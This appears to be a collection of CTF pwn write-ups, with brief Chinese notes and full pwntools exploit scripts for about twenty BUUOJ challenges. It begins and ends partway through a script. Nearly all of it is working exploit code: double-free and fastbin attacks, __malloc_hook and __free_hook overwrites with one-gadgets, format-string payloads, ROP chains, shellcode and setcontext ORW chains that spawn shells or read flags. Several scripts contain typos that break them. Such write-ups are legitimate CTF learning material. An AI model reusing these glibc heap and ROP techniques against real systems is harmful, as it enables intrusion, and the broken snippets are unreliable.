p.recvuntil('>')
#gdb.attach(p)
payload = 'admin\x00\x00\x00'*4 + p64(bss)
p.send(payload)
p.interactive()

roarctf_2019_easyheap

思路是double free + og(realloc),需要使用sleep(防止数据发送的时候出问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *

#p = process("./roarctf_2019_easyheap")
p = remote("node4.buuoj.cn",29875)
elf = ELF("./roarctf_2019_easyheap")
libc = ELF("./libc-2.23.so")
#libc = elf.libc
context(log_level = "debug")
def add(size,con):
p.sendlineafter(">> ","1")
p.sendlineafter("size\n",str(size))
p.sendafter("content\n",con)

def free():
p.sendlineafter(">> ","2")

def show():#0x602090 == 0xdeadbeefdeadbeef
p.sendlineafter(">> ","3")

def fun1(con):
p.sendlineafter(">> ","666")
p.sendlineafter("free?\n","1")
p.sendafter("content\n",con)

def fun2():
p.sendlineafter(">> ","666")
p.sendlineafter("free?\n","2")

def add1(size,con):
sleep(0.3)
p.sendline("1")
sleep(0.3)
p.sendline(str(size))
sleep(0.3)
p.send(con)

def free1():
sleep(0.3)
p.sendline("2")

def fun3(con):
sleep(0.3)
p.sendline("666")
sleep(0.3)
p.sendline("1")
sleep(0.3)
p.send(con)

def fun4():
sleep(0.3)
p.sendline("666")
sleep(0.3)
p.sendline("2")

def free1():
sleep(0.3)
p.sendline("2")

bss_ad = 0x602070
puts_got = elf.got["puts"]
username = p64(0) * 3 + p64(0x71)
p.sendafter("username:",username)#0x602060
info = "archer"
p.sendlineafter("info:",info)#0x6020a0

fun1("a")
add(0x30,"a")#1
fun2()
add(0x60,"a")#2
add(0x60,"a")#3

free()
fun2()
free()

add(0x60,p64(bss_ad))#4
add(0x60,"a")#5
add(0x60,"b")#6
pay = p64(0) + p64(puts_got) + p64(0xdeadbeefdeadbeef)
add(0x60,pay)#7
show()
libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.info("malloc: " + hex(malloc_hook))
og = libc_base + 0xf1147#0x45216 0x4526a 0xf02a4 0xf1147
realloc = libc_base + libc.sym["realloc"]
p.recvuntil("price\n")

fun3("abcd")
fun3("aabb")
add1(0x60,"a")#8
fun4()

add1(0x60,"a")#9
add1(0x60,"a")#10

free1()
fun4()
free1()
#gdb.attach(p)
add1(0x60,p64(malloc_hook - 0x23))#11
add1(0x60,"a")#12
add1(0x60,"b")#13
add1(0x60,"\x00"*0xb + p64(og) + p64(realloc + 0x14))#14

p.sendline("1")#15
sleep(0.3)
p.sendline("1")
p.interactive()

starctf_2019_girlfriend

fastbin attack + realloc调整栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

p = remote("node4.buuoj.cn",25075)
#p = process("./starctf_2019_girlfriend")
elf = ELF("./starctf_2019_girlfriend")
#libc = elf.libc
libc = ELF("./libc-2.23.so")
context(log_level = "debug")

def add(size, name, call):
p.sendlineafter("choice:","1")
p.sendlineafter("name\n",str(size))
p.sendlineafter("name:\n",name)
p.sendafter("call:\n",call)

def show(idx):
p.sendlineafter("choice:","2")
p.sendlineafter("index:",str(idx))

def delete(idx):
p.sendlineafter("choice:","4")
p.sendlineafter("index:\n",str(idx))

add(0x100,"archer","a"*0xc)
add(0x68,"archer","b"*0xc)
add(0x68,"archer","b"*0xc)
delete(0)
show(0)
p.recvuntil("name:\n")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc: " + hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
realloc = libc_base + libc.sym["__libc_realloc"]
log.info("malloc: " + hex(malloc_hook))
og = 0xf1147 + libc_base#0x45216 0x4526a 0xf02a4 0xf1147
delete(1)
delete(2)
delete(1)
add(0x68,p64(malloc_hook - 0x23),"aaaa")
add(0x68,"aaa","bbbb")
add(0x68,"bbb","cccc")
add(0x68,"\x00"*0xb + p64(og) + p64(realloc + 2),"aaaa")
#gdb.attach(p)
sleep(0.3)
p.sendlineafter("choice:","1")
sleep(0.3)
p.sendline("cat flag")
#gdb.attach(p)
p.interactive()

hctf2016_fheap

ubuntu16+uaf+格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

from pwn import *

context.log_level = 'debug'
libc = ELF('./libc-2.23.so')

def add(size,content):
sh.sendlineafter('3.quit','create ')
sh.sendlineafter('size:',str(size + 1))
sh.sendafter('str:',content + '\x00')

def delete(index):
sh.sendlineafter('3.quit','delete ')
sh.sendlineafter('id:',str(index))
sh.sendlineafter('Are you sure?:','yes')

def exploit():
add(0x10,'a'*0x10) #0
add(0x10,'b'*0x10) #1
delete(1)
delete(0)

add(0x20,'%22$p'.ljust(0x18,'b') + p16(0x59D0)) #0
delete(1)
sh.recvuntil('0x')
libc_base = int(sh.recvuntil('b',drop = True),16) - libc. ['_IO_2_1_stdout_']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

add(0x10,'a'*0x10) #1
add(0x10,'b'*0x10) #2
delete(2)
delete(1)
add(0x20,'/bin/sh;'.ljust(0x18,'a') + p64(system_addr))

delete(2)

while True:
try:
global sh
#sh = process('./pwn-f')
sh = remote('node4.buuoj.cn',27858)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'

sh.interactive()

mrctf2020_easyrop

这个题思路是ret system,注意fflush(远程没有及时输出),以及退出主程序时,要注意下标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.log_level = 'debug'
#p = process("./mrctf2020_easyrop")
p = remote("node4.buuoj.cn",28144)
elf = ELF("./mrctf2020_easyrop")
libc = elf.libc
#libc = ELF('./libc-2.23.so')

def read1(con):#0x200
p.sendline("1")
sleep(0.3)
p.send(con)
def read2(con):#0x300
p.sendline("2")
sleep(0.3)
p.send(con)
def read3(con):#0x100 + vector
p.sendline("3")
sleep(0.3)
p.send(con)
def read4(con):#0x100
p.sendline("0")
sleep(0.3)
p.send(con)
def read5(con):#0x100
p.sendline("7")
p.send(con)
#gdb.attach(p)
rdi = 0x0000000000400933#pop rdi ; ret
rsi = 0x0000000000400931#pop rsi ; pop r15 ; ret
puts_got = elf.got["puts"]
puts = elf.plt["puts"]
main = 0x000000000040082A
sh = 0x40072A
rop = p64(sh)
pay1 = "a"*0x2f8 + "\x00"*8
read2(pay1)
pay2 = "b"*0x8 + "c"*0x8 + p64(0)*2 + rop + "a"*(0x100 - 0x60)
read3(pay2)
pay3 = "e"*0xf8 + p64(0)
read4(pay3)
read5(pay3)

p.interactive()

hwb_2019_mergeheap

ubuntu18,利用strcpy来覆盖size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

#p = process("./mergeheap")
p = remote("node4.buuoj.cn",27630)
elf = ELF("./mergeheap")
#libc = elf.libc
libc = ELF("./libc-2.27.so")
def add(length,con):#0 - 0x400
p.sendlineafter(">>","1")
p.sendlineafter("len:",str(length))
p.sendlineafter("content:",con)

def show(idx):
p.sendlineafter(">>","2")
p.sendlineafter("idx:",str(idx))

def dele(idx):
p.sendlineafter(">>","3")
p.sendlineafter("idx:",str(idx))

def merge(idx1,idx2):
p.sendlineafter(">>","4")
p.sendlineafter("idx1:",str(idx1))
p.sendlineafter("idx2:",str(idx2))

#0x2020a0 - > ad_heap
#0x202060 - > heap_size
add(0x300,"aaaa")#0
add(0x300,"bbbb")#1
merge(0,1)#2
add(0x10,"sh")#3
dele(2)
add(0,'')#2
show(2)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 0x470 - 96 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("free_hook: " + hex(free_hook))
add(0,'')#4

add(0x108,"a"*0x108)#5
add(0x120,"baaa")#6
add(0x58,"b"*0x58)#7
add(0x20,"b"*0x1e + p8(0x91))#8
dele(6)
merge(5,8)#6

dele(7)
dele(8)
add(0x88,"b"*0x58 + p64(0x31) + p64(free_hook))
add(0x20,"a")
add(0x20,p64(sys_ad))
dele(3)
p.interactive()

nsctf_online_2019_pwn2

ubuntu16,利用update函数操作堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context.log_level = 'debug'

p = remote("node4.buuoj.cn",29850)
#p = process("./nsctf_online_2019_pwn2")
elf = ELF("./nsctf_online_2019_pwn2")
#libc = elf.libc
libc = ELF("./libc-2.23.so")

def add(size):
p.sendlineafter("6.exit\n","1")
p.sendlineafter("size\n",str(size))

def delete():
p.sendlineafter("6.exit\n","2")

def show():
p.sendlineafter("6.exit\n","3")

def update(con):
p.sendlineafter("6.exit\n","4")
p.send(con)

def edit(con):
p.sendlineafter("6.exit\n","5")
p.sendlineafter("note\n",con)

pay = "archer"
p.sendlineafter("name\n",pay)
add(0x30)
delete()
add(0x80)
add(0x10)
pay = "a"*0x30
update(pay + p8(0x50))
delete()
add(0x30)
update(pay + p8(0x50))
show()
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
og = libc_base + 0xf1147#0x45216 0x4526a 0xf02a4 0xf1147
realloc = libc_base + libc.sym["realloc"]
update(pay + p8(0x10))
delete()
add(0x68)
delete()
add(0x30)
update(pay + p8(0x50))
edit(p64(malloc_hook - 0x23))
add(0x68)
add(0x68)
edit("\x00"*0xb + p64(og) + p64(realloc + 0x14))#2,4,6,0xb,0xc,0xd,0x10,0x14
add(0x10)
#gdb.attach(p)
p.interactive()

jarvisoj_itemboard

注意参数就差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.log_level = 'debug'

p = remote("node4.buuoj.cn",28277)
#p=process("./itemboard")
elf = ELF("./itemboard")
#libc=elf.libc
libc = ELF("./libc-2.23.so")

def add(name,length,con):
p.sendlineafter("choose:\n","1")
p.sendlineafter("Item name?\n",name)
p.sendlineafter("len?\n",str(length))
p.sendlineafter("tion?\n",con)

def list():
p.sendlineafter("choose:\n","2")

def show(idx):
p.sendlineafter("choose:\n","3")
p.sendlineafter("item?\n",str(idx))

def dele(idx):
p.sendlineafter("choose:\n","4")
p.sendlineafter("item?\n",str(idx))

bss = 0x202080
add("aaaabbbb",0x100,"aaaadddd")#0
add("bbbbcccc",0x50,"qqqqeeee")#1
dele(0)
show(0)
p.recvuntil("tion:")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("sys_ad:" + hex(sys_ad))
sh_ad = libc_base + 0x000000000018ce57
log.info("libc_base: " + hex(libc_base))
dele(1)

add("ddddeeee",0x18,"/bin/sh;"*2 + p64(sys_ad))#2

dele(0)
p.interactive()

bbctf_2020_fmt_me

控制好snprintf参数就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = process("./bbctf_2020_fmt_me")
#p = remote("node4.buuoj.cn",26864)
elf = ELF("./bbctf_2020_fmt_me")
#libc = elf.libc
#libc = ELF("./libc-2.27.so")
context(log_level = "debug",arch = "amd64")

atoi_got = elf.got["atoi"]
sys_ad = elf.plt["system"]
sys_got = elf.got["system"]
snprintf = elf.got["snprintf"]
main = 0x4011F7
p.sendlineafter("Choice: ","2")
payload = fmtstr_payload(6,{sys_got:main},write_size='long')
p.sendlineafter("gift.\n",payload)

payload = "/bin/sh;" + fmtstr_payload(7,{snprintf:0x401056 - 8},write_size='long')
p.sendlineafter("Choice: "1 ,"2")
p.sendlineafter("gift.\n",payload)

p.sendlineafter('Choice: ','2')
p.sendlineafter('Good job. I\'ll give you a gift.','archer')
p.interactive()

metasequoia_2020_summoner

简单题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.log_level = 'debug'
#p = process("./metasequoia_2020_summoner")
p = remote("node4.buuoj.cn",29680)
elf = ELF("./metasequoia_2020_summoner")
libc = elf.libc
#libc = ELF("./libc-2.23.so")

def summon(con):
p.sendlineafter("> ","summon " + con)

def show():
p.sendlineafter("> ","show")

def level(grade):
p.sendlineafter("> ","level-up " + str(grade))

def strike():
p.sendlineafter("> ","strike")

def release():
p.sendlineafter("> ","release")

summon("archercc" + p8(0x5))
level(4)
release()
summon("a"*0x100)
strike()
#gdb.attach(p)
p.interactive()

sctf2019_easy_heap

这个题有点绕,fill函数中存在off-by-null思路是通过shrink chunk来实现uaf,然后利用uaf,往bss上写main_arena
,然后再分配到bss上,修改main_arnea指向malloc_hook写入ad,并在ad处写入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

#p = process("./easy_heap")
p = remote("node4.buuoj.cn",28605)
elf = ELF("./easy_heap")
libc = elf.libc
context(log_level = "debug",os = "linux",arch = "amd64")
#libc = ELF("./libc-2.27.so")
def add(size):
p.sendlineafter(">> ","1")
p.sendlineafter("Size: ",str(size))

def delete(idx):
p.sendlineafter(">> ","2")
p.sendlineafter("Index: ",str(idx))

def fill(idx,con):
p.sendlineafter(">> ","3")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Content: ",con)

p.recvuntil("Mmap: ")
ad = int(p.recvuntil("\n")[:-1],16)
log.info("ad: " + hex(ad))

add(0x88)#0
p.recvuntil("Address ")
bss = int(p.recvuntil("\n")[:-1],16)
log.info("bss: " + hex(bss))
add(0x88)#1
add(0x88)#2
add(0x88)#3
add(0x88)#4
add(0x88)#5
add(0x88)#6

add(0x88)#7
add(0x508)#8
add(0x88)#9
add(0x38)#10

fill(8,"a"*0x4f0 + p64(0x500))
delete(8)
fill(7,"a"*0x88)

add(0x88)#8
add(0x168)#11
add(0x178)#12

for i in range(7):
delete(i)
delete(8)
delete(9)
delete(12)
add(0x88 + 0x168)#0
add(0x178)#1
add(0x178)#2
delete(11)
fill(0,"a"*0x88 + p64(0x171) + p64(bss))
add(0x168)
add(0x168)
fill(4,p64(ad) + p64(0x100) + p64(ad) + p64(0x100) + p8(0x30))

fill(0,asm(shellcraft.sh()))
fill(2,p64(ad))
p.sendlineafter(">> ","1")
p.sendlineafter("Size: ","1")
p.interactive()

rootersctf_2019_babypwn

简单题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

#p = process("./rootersctf_2019_babypwn")
p = remote("node4.buuoj.cn",27133)
elf = ELF("./rootersctf_2019_babypwn")
libc = ELF("./libc-2.27.so")

rdi = 0x401223
rsi = 0x401221
leave_ret = 0x4011b5
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = 0x401146

payload = "a"*0x100 + p64(0) + p64(rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
#gdb.attach(p)
p.sendlineafter("back> \n",payload)
p.recvuntil("a"*0x100)
p.recv(1)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["puts"]
sys_ad = libc_base + libc.sym["system"]
sh = libc_base + 0x00000000001b3e9a
log.info("ad: " + hex(libc_base))
pay = "a"*0x100 + p64(0) + p64(rdi) + p64(sh) + p64(rsi) + p64(0)*2 + p64(sys_ad)
p.sendline(pay)
p.interactive()

ciscn_2019_c_5

简单题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

#p = process("./ciscn_2019_c_5")
p = remote("node4.buuoj.cn",27875)
#elf = ELF("./ciscn_2019_c_5")
libc = ELF("./libc-2.27.so")
#libc = elf.libc
context(log_level = "debug")
p.sendlineafter("name?\n","a"*0x20)
p.recvuntil("a"*0x20)
stack = u64(p.recv(6).ljust(8,"\x00"))
log.info("ad: " + hex(stack))
p.recvline()
p.recv(1)
libc_base = u64(p.recv(5).ljust(8,"\x00")) << 8
libc_base = libc_base + 0x80 - libc.sym["_IO_2_1_stderr_"]
log.info("libc_base: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

def add(size,con):
p.sendlineafter("choice:","1")
p.sendlineafter("story: \n",str(size))
p.sendlineafter("story: \n",con)

def delete(idx):
p.sendlineafter("choice:","4")
p.sendlineafter("index:\n",str(idx))

add(0x20,"/bin/sh\x00")
add(0x30,"archer")
delete(1)
delete(1)
add(0x30,p64(free_hook))
add(0x30,"aaa")
add(0x30,p64(sys_ad))
delete(0)
#gdb.attach(p)
p.interactive()

nsctf_online_2019_pwn1

ubuntu16,思路是利用off-by-null来uaf,然后攻击stdout泄露Libc,最后打malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

#p = process("./nsctf_online_2019_pwn1")
p = remote("node4.buuoj.cn",29622)
elf = ELF("./nsctf_online_2019_pwn1")
libc = ELF("./libc-2.23.so")
#context(log_level = "debug")

def add(size,con):# 0 - 0x3ff
p.sendlineafter("5.exit\n","1")
p.sendlineafter("size:",str(size))
p.sendafter("content:",con)

def delete(idx):
p.sendlineafter("5.exit\n","2")
p.sendlineafter("index:\n",str(idx))

def update(idx,size,con):
p.sendlineafter("5.exit\n","4")
p.sendlineafter("index:\n",str(idx))
p.sendlineafter("size:\n",str(size))
p.sendafter("content:",con)

def exp():
add(0x88,"a")#0
add(0x68,"b")#1
add(0x68,"c")#2
add(0xf8,"d")#3
add(0x38,"e")#4

delete(0)
update(2,0x68,"a"*0x60 + p64(0x90 + 0x70 + 0x70))
delete(3)

add(0x88,"a")#0
add(0x68,"b")#3
add(0x68,"c")#5
add(0xf8,"d")#6

delete(0)
update(5,0x68,"c"*0x60 + p64(0x90 + 0x70 + 0x70))
delete(6)

delete(1)
add(0x88,"a")#0
delete(0)

add(0x92,"a"*0x80 + p64(0) + p64(0x71) + p16(0xc5dd))#1
#gdb.attach(p)
add(0x68,"a")#7
payload = '\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + p8(0x88)
add(0x59,payload)#8

ad = u64(p.recv(6).ljust(8,"\x00")) - libc.symbols['_IO_2_1_stdin_']

log.info("ad: " + hex(ad))

malloc_hook = ad + libc.sym["__malloc_hook"]
og = ad + 0xf1147#0x4526a 0x45216 0xf02a4 0xf1147
delete(2)
update(5,0x8,p64(malloc_hook - 0x23))
add(0x68,"a")
add(0x68,"\x00"*0x13 + p64(og))

p.sendlineafter("5.exit\n","1")
p.sendlineafter("size:","1")
p.interactive()

while(1):
p = remote("node4.buuoj.cn",29622)
try:
exp()
except:
p.close()

bbctf_2020_write

exit_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

#p = process("./bbctf_2020_write")
p = remote("node4.buuoj.cn",27450)
elf = ELF("./bbctf_2020_write")
#libc = elf.libc
libc = ELF("./libc-2.27.so")
context(log_level = "debug")


p.recvuntil("puts: ")
libc_base = int(p.recvuntil("\n")[:-1],16) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
p.recvuntil("stack: ")
stack = int(p.recvuntil("\n")[:-1],16)
p.sendline("w")
rtld = libc_base + 0x619f60
og = libc_base + 0xe569f#0x4f2c5 0x4f322 0x10a38c 0x10a398 0xe5863 0xe5858 0xe569f
#og1 = libc_base + 0x4f365#0x4f365 0x4f3c2 0x10a45c
log.info("rtld: " + hex(rtld))
pay1 = str(rtld)
pay2 = str(og)
p.sendlineafter("ptr: ",pay1)
p.sendlineafter("val: ",pay2)
p.sendlineafter("uit\n","q")

p.interactive()

ciscn_2019_c_3

ubuntu18 + uaf + 大小限制为0x100,0x4f,0x60,有show,只能写heap + 0x10,有后门函数可以fd++,思路是通过fd++来修改
下个堆的fd到malloc_hook然后写og

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

p = remote("node4.buuoj.cn",29661)
#p = process("./ciscn_2019_c_3")
elf = ELF("./ciscn_2019_c_3")
#libc = elf.libc
libc = ELF("./libc-2.27.so")
#context(log_level = "debug")

def add(size,con):#0x60 0x100 0x4f
p.sendlineafter("Command: \n","1")
p.sendlineafter("size: ",str(size))
p.sendafter("name: \n",con)

def show(idx):
p.sendlineafter("Command: \n","2")
p.sendlineafter("index: ",str(idx))

def delete(idx):
p.sendlineafter("Command: \n","3")
p.sendlineafter("weapon:\n",str(idx))

def backdoor(idx):
p.sendlineafter("Command: \n","666")
p.sendlineafter("weapon:\n",str(idx))

add(0x100,"a"*0x50 + "\n")#0
add(0x100,"b" + "\n")#1
add(0x60,"c" + "\n")#2
add(0x4f,"d" + "\n")#3

for i in range(6):
delete(0)

delete(0)
delete(1)
show(1)

p.recvuntil("attack_times: ")
libc_base = int(p.recvuntil("\n")[:-1]) - 96 - 0x10 - libc.sym["__malloc_hook"]
log.info("ad: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
og = 0x10a38c + libc_base# 0x4f2c5 0x4f322 0x10a38c
log.info("malloc_hook: " + hex(malloc_hook))
delete(2)
delete(2)

for i in range(10):
backdoor(2)

delete(3)
add(0x60,"b" + "\n")#4
add(0x60,"a"*(0x50 - 2) + p64(0x61) + p64(malloc_hook - 0x10) + "\n")#5
add(0x4f,"a" + "\n")#6
add(0x4f,p64(og) + "\n")#7

p.sendlineafter("Command: \n","1")
p.sendlineafter("size: ",str(0x100))
p.interactive()

ciscn_2019_s_8

程序很复杂,可以看一下大致的流程,只知道要读入一段数据长度限制为0x200,然后验证,可以先试试输入0x200个”a”,然后你会发现
程序最后ret到了0x0404040404040404这个地址,此时再修改开始前8个字符,gdb调试可以得到一串对应的字符表,于是对应字母表
直接rop(补充:需要在本地建一个.txt,参考程序流程)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

p = remote("node4.buuoj.cn",25581)
#p = process("./ciscn_s_8")
elf = ELF("./ciscn_s_8")
context(log_level = "debug")

rdi = 0x00000000004006e6
#p8(0x80) + p8(0x60) + p8(0x26) + p8(0x66)*5
rsi = 0x00000000004040fe
#p8(0x98) + p8(0x26)*2 + p8(0x66)*5
sys = 0x00000000004856B5#syscall ; ret
#p8(0xd3) + p8(0x30) + p8(0x2e) + p8(0x66)*5
binsh_ad = 0x6bd000
#p8(0x66) + p8(0xb6) + p8(0xd) + p8(0x66)*5
pop = 0x00000000004006df#pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
rax = 0x0000000000481fb6#pop rax ; pop rdx ; pop rbx ; ret
#p8(0xd0) + p8(0x79) + p8(0x2e) + p8(0x66)*5
#gdb.attach(p)

pay = p8(0xb9) + p8(0x60) + p8(0x26) + p8(0x66)*5
pay = pay * 10
pay += p8(0x80) + p8(0x60) + p8(0x26) + p8(0x66)*5#rdi
pay += p8(0x66)*8 #0
pay += p8(0x98) + p8(0x26)*2 + p8(0x66)*5#rsi
pay += p8(0x66) + p8(0xb6) + p8(0xd) + p8(0x66)*5#binsh_ad
pay += p8(0xd0) + p8(0x79) + p8(0x2e) + p8(0x66)*5#rax
pay += p8(0x66)*8 #0
pay += p8(0x6e) + p8(0x66)*7#8
pay += p8(0x66)*8 #0
pay += p8(0xd3) + p8(0x30) + p8(0x2e) + p8(0x66)*5#syscall;ret

pay += p8(0x80) + p8(0x60) + p8(0x26) + p8(0x66)*5#rdi
pay += p8(0x66) + p8(0xb6) + p8(0xd) + p8(0x66)*5#binsh_ad
pay += p8(0x98) + p8(0x26)*2 + p8(0x66)*5#rsi
pay += p8(0x66)*8 #0
pay += p8(0xd0) + p8(0x79) + p8(0x2e) + p8(0x66)*5#rax
pay += p8(0x5d) + p8(0x66)*7#59
pay += p8(0x6e) + p8(0xb6) + p8(0xd) + p8(0x66)*5
pay += p8(0x66)*8 #0
pay += p8(0xd3) + p8(0x30) + p8(0x2e) + p8(0x66)*5#syscall;ret
payload = pay + "b"*(0x200 - len(pay))
p.sendafter("Password: \n",payload)
p.send("/bin/sh\x00")
#print pay
p.interactive()
#01 02 03 04 05 06 07 08
#67 64 65 62 63 60 61 6e

#09 0a 0b 0c 0d 0e 0f 10
#6f 6c 6d 6a 6b 68 69 76

rctf_2019_babyheap

ubuntu16+禁用fastbin,思路是house of storm + setcontext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *

p = remote("node4.buuoj.cn",28223)
#p = process("./rctf_2019_babyheap")
elf = ELF("./rctf_2019_babyheap")
#libc = elf.libc
libc = ELF("./libc-2.23.so")
context.arch = "amd64"

def add(size):
p.sendlineafter("Choice: \n","1")
p.sendlineafter("Size: ",str(size))

def edit(idx,con):
p.sendlineafter("Choice: \n","2")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Content: ",con)

def delete(idx):
p.sendlineafter("Choice: \n","3")
p.sendlineafter("Index: ",str(idx))

def show(idx):
p.sendlineafter("Choice: \n","4")
p.sendlineafter("Index: ",str(idx))

bss_ad = 0x202110

add(0x88)#0
add(0x418)#1
add(0xf8)#2

add(0x88)#3
add(0x408)#4
add(0xf8)#5
add(0x18)#6

delete(0)
edit(1,"a"*0x410 + p64(0x420 + 0x90))
delete(2)
add(0x88)#0
add(0x418)#2 -- 1
add(0xf8)#7

delete(3)
edit(4,"a"*0x400 + p64(0x410 + 0x90))
delete(5)
add(0x88)#3
add(0x408)#5 -- 4
add(0xf8)#8

delete(4)
show(5)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"] + 53
target_ad = free_hook - 0x10
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
puts = libc_base + libc.sym["puts"]

rdi = libc_base + 0x0000000000021102
rsi = libc_base + 0x00000000000202e8
rdx = libc_base + 0x0000000000001b92
rax = libc_base + 0x0000000000033544
ret = libc_base + 0x0000000000000937

delete(1)
show(2)
heap = u64(p.recv(6).ljust(8,"\x00"))
log.info("heap: " + hex(heap))

frame = SigreturnFrame()
frame.rsp = heap - 400 + 0x10
frame.rip = ret

flag_ad = heap - 0x640 + 0x10
edit(0,"flag\x00")
edit(8,str(frame))

rop = p64(rdi) + p64(flag_ad) + p64(open)
rop += p64(rdi) + p64(3) + p64(rsi) + p64(flag_ad + 0x10) + p64(rdx) + p64(0x50) + p64(read)
rop += p64(rdi) + p64(flag_ad + 0x10) + p64(puts)

edit(7,rop)

add(0x418)#1
delete(1)

edit(2,p64(0) + p64(target_ad))
edit(5,p64(0) + p64(target_ad + 8) + p64(0) + p64(target_ad - 0x18 - 5))

add(0x48)#1
edit(1,p64(setcontext) + p64(0))

delete(8)

p.interactive()

actf_2019_message

简单题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

#p = process("./ACTF_2019_message")
p = remote("node4.buuoj.cn",29774)
elf = ELF("./ACTF_2019_message")
#libc = elf.libc
libc = ELF("./libc-2.27.so")
context(log_level = "debug")

def add(size,con):
p.sendlineafter("choice: ","1")
